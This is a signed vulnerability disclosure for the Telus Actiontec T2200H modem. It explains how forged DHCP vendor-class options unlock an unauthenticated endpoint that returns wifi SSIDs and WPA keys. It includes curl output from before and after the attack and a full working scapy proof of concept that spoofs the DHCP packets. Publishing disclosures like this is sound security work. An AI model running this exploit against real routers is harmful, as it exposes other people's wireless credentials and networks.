-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ### Device Details Discovered By: Andrew Klaus (andrew@aklaus.ca) Vendor: Actiontec (Telus Branded, but may work on others) Model: T2200H (but very likely affecting other models of theirs) Affected Firmware: T2200H-31.128L.08 Device Manual: http://static.telus.com/common/cms/files/internet/telus_t2200h_user_manu al.pdf Reported: July 2018 CVE: Not needed since update is pushed by the vendor. The Telus Actiontec T2200H is bonded VDSL2 modem which incorporates 2 VDSL2 bonded links with a built-in firewall, bridge mode, 802.11agn wireless, etc. ### Summary of Findings An HTTP interface used by wireless extenders to pull the modem's wifi settings uses DHCP client-provided option values to restrict access to this API. By forging DHCP packets, one can access this interface without any authentication and obtain details such as SSID name, encryption type, and WPA/WEP keys. This can be leveraged if an attacker is on the same Layer 2 network as the modem. ### Pre-Attack Attempting to grab the wirelesssettings.xml file results in no data being returned: $ curl -ik https://192.168.1.254/wirelesssettings.xml HTTP/1.1 200 Ok Server: micro_httpd Cache-Control: no-cache Date: Sun, 29 Jul 2018 19:43:28 GMT Content-Type: text/xml Connection: close ### Post-Attack After the Python PoC has been executed, we can run the same query, but can now pull back full details on the wireless settings including password set. $ sudo python dhcp.py . Sent 1 packets. . Sent 1 packets. $ curl -ik https://192.168.1.254/wirelesssettings.xml HTTP/1.1 200 Ok Server: micro_httpd Cache-Control: no-cache Date: Sun, 29 Jul 2018 19:49:44 GMT Content-Type: text/xml Connection: close 0 WPA2 %PASSWORD% aes %SSID_NAME% Yes 0 Compatibility Auto 20M Disabled Enabled Enabled Enabled 100% 0 No Error ### PoC Code # Replace br0 with your actual interface name. from scapy.all import * spoof_int = 'br0' fam,hw = get_if_raw_hwaddr(spoof_int) mac = get_if_hwaddr(spoof_int) curr_ip = get_if_addr(spoof_int) pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") pkt /= IP(src="0.0.0.0", dst="255.255.255.255") pkt /= UDP(sport=68, dport=67) pkt /= BOOTP(op=1, chaddr=hw) pkt /= DHCP(options=[("message-type", "discover"), ("hostname", b'anything'), ("vendor_class_id", b'VENDOR_ID ACTIONTEC_WP'), ("vendor_class_id", b'PRODUCT_TYPE WEB6000Q'), ("vendor_class_id", b'VERSION 1.1.02.22'), ("vendor_class_id", b'PROTOCOL 1.0'), ("server_id", "192.168.1.254"), "end"]) sendp(pkt, iface=spoof_int) pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") pkt /= IP(src="0.0.0.0", dst="255.255.255.255") pkt /= UDP(sport=68, dport=67) pkt /= BOOTP(op=1, chaddr=hw) pkt /= DHCP(options=[("message-type", "request"), ("hostname", b'anything'), ("requested_addr", curr_ip), ("vendor_class_id", b'VENDOR_ID ACTIONTEC_WP'), ("vendor_class_id", b'PRODUCT_TYPE WEB6000Q'), ("vendor_class_id", b'VERSION 1.1.02.22'), ("vendor_class_id", b'PROTOCOL 1.0'), ("server_id", "192.168.1.254"), "end"]) sendp(pkt, iface=spoof_int) -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEE/rRUDraOzqmrp8tZoyRid8jQfpkFAlz9T0IACgkQoyRid8jQ fpmglg/+MV5Wr0LiEQ4qzpbTbnGIyHjhKfdl1ff0Pu7Usxvf9PicWTPQFJadEZws Tgyidchw2AECY8ltXytnfg1rRYdCORFLX7hnHF0uUreIR5D+pXqNnEydjlQ1P9xq uMQMmALQJnI0S4sOyeKqailxsh1sGUgF8fSEwYECg3z4gmmwwiZypFGhtv5ONd8u kIMGxqiIYCQhX8TeyAjSm1GAStOfk0ykHKxfL0OYaQz1V2vnPPPo1jGUequkx/Vh jeLUljKwrDmjc6VQMpHtCpOEr6chl9PulI3qhlIy+9oweYz0h5MURt6ejNKAfbrB k7DFLx2f1Sad5XWs8QgRVEPbCKRfCIcNiOXiXlM+/qU0zVp7C7yUABPFeSbUj/0c GUiQmkXeaaVGEqbofdjEayD4fsi3lwfgi5c655KpBLyuHe2l5yMrsCnfm8ijzuxt R5yqAJ7n3+YMY/wkTwqqdy/xneIWbNuc4jEQcUnraQNJVUv48/MUbhrtFd90t6ru ZA1+KDxmnnQcRP+RIZX5zhtjOTTA0AiqsfGCH/DolUmO9KPERl4699IKto6VGI85 am7s5wuZOQ6BvqP3qvxudw77E7SktzMRcE4EFP0I95v2sBVJSEMKmCO9Ag+nQae9 atUHV1gYubMfEUQcmsdSii4TYlwXtIHGxpur9QRTBeMx04sfYmg= =KQu9 -----END PGP SIGNATURE-----